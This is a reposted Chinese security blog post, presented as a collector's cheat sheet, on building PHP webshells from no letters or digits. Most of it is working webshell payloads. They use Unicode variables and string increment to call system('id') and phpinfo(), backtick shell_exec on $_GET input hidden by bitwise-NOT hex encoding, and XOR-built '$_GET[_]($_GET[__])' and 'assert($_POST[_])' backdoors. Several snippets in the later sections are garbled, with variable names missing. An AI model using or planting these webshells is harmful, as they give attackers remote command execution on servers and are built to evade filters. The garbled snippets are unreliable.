无字母数字webshell进阶收藏版
2020-05-19 10:29:29 Author: xz.aliyun.com(查看原文) 阅读量:491 收藏

收藏即为会了!!!!!!

还没有看过P神两篇文章的走这里
一些不包含数字和字母的webshell
无字母数字webshell之提高篇

1.原理

P神在他文章中指出:

我们可以使用[].Φ来得到字符串Array.
我们可以得到我们想要的构造payload:

使用说明

- 'ArrayΦ'      <-> [].Φ
-  1            <-> ![]
- 'a'           <-> ([])[![]+![]+![]]
- 'b'           <-> $a = 'a'; $b=++$a;
- 'system'      <-> $η.$ν.$η.$θ.$Ω.$α
- 'system'(id)  <-> system('id')


如图,自己构造可能比较麻烦,直接查照上图,如果需要Unicode码,这里找.

/* system(id) */
<?==([].Φ)[![]+![]+![]]?><?==++#b?><?=$Ψ=++$Χ#c?><?=$Ω=++$Ψ#d?><?=$Ϊ=++$Ω#e?><?=$Ϋ=++$Ϊ#f?><?=$ά=++$Ϋ#g?><?=$έ=++$ά#h?><?=$ή=++$έ#i?><?=$ί=++$ή#j?><?=$ΰ=++$ί#k?><?=$α=++$ΰ#l?><?=$β=++$α#m?><?=$γ=++$β#n?><?=$δ=++$γ#o?><?=$ε=++$δ#p?><?=$ζ=++$ε#q?><?=$η=++$ζ#r?><?=$θ=++$η#s?><?=$ι=++$θ#t?><?=$κ=++$ι#u?><?=$λ=++$κ#v?><?=$μ=++$λ#w?><?=$ν=++$μ#x?><?=$ξ=++$ν#y?><?=$ο=++$ξ#z?><?=$ο=([].Φ)[![]+![]+![]]#a?><?=($η.$ν.$η.$θ.$Ω.$α)($έ.$Ψ)?>

2.缩短

前面我们依次把字母赋值给不同的Unicode码,现在我们可以只用一个Unicode码遍历所有的字母,然后再取值我们需要的那个值.这样就减少了Unicode码的使用.

# phpinfo()
<?==([].Φ)[![]+![]+![]]#a?><?=++$Φ#b?><?=++$Φ#c?><?=++$Φ#d?><?=++$Φ#e?><?=$α=++$Φ#f?><?=++$Φ#g?><?=$ν=++$Φ#h?><?=$θ=++$Φ#i?><?=++$Φ#j?><?=++$Φ#k?><?=++$Φ#l?><?=++$Φ#m?><?=$Ω=++$Φ#n?><?=$λ=++$Φ#o?><?=$η=++$Φ#p?><?=++$Φ#q?><?=++$Φ#r?><?=++$Φ#s?><?=++$Φ#t?><?=++$Φ#u?><?=++$Φ#v?><?=++$Φ#w?><?=++$Φ#x?><?=++$Φ#y?><?=++$Φ#z?><?=($η.$ν.$η.$θ.$Ω.$α.$λ)()?>

3.压榨

前面我们知道可以使用[].Φ 来得到 字符串Array.用![]+![]+![] 得到字符a,那我们不要a,而使用第一个字符A.

- 'a' <-> ([].Φ)[![]+![]+![]]
- 'A' <-> ([].Φ)['']
<?==([].Φ)['']?><?=++?><?=++?><?=++?><?=++?><?==++?><?=++?><?==++?><?==++?><?=++?><?=++?><?=++?><?=++?><?==++?><?==++?><?==++?><?=++?><?=++?><?=++?><?=++?><?=++?><?=++?><?=++?><?=++?><?=++?><?=++?><?=(......)()?>

1.Unicode补充

<?php
[]=;
=.;
var_dump();#string(10) "ArrayArray"

你懂的!!!

2.数字需要

$Φ=([].Φ)[''];
var_dump($Φ);#string(1) "A"
var_dump(+$Φ);#int(0)

你开心就好!!!

反引号

<?=`{$_GET[_]}`;
#使用十六进制
<?=`{${~"\xa0\xb8\xba\xab"}[~"\xa0"]}`;

我们可以知道

- ~"\xa0\xb8\xba\xab" <-> "_GET"
- ~"\xa0" <-> "_"
- ${"_GET"}[~"\xa0"] <-> $_GET["\xa0"]
- `{$_GET["\xa0"]}` <-> shell_exec($_GET["\xa0"])

然后我们可以使用?_=id
不过,在大佬指点下,也可以有

?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`;

少了一个反以后,我们可以使用?%a0=id

异或运算

<?=$_='$<>/'^'{{{{';${$_}[_](${$_}[__]);

# $_= '$<>/' ^ '{{{{' ----> $_ = '_GET'
# ${_GET}[_](${_GET})[__];
# final <?=$_GET[_]($_GET[__])

P神文章中是

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
// $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

文章来源: http://xz.aliyun.com/t/7742
如有侵权请联系:admin#unsafe.sh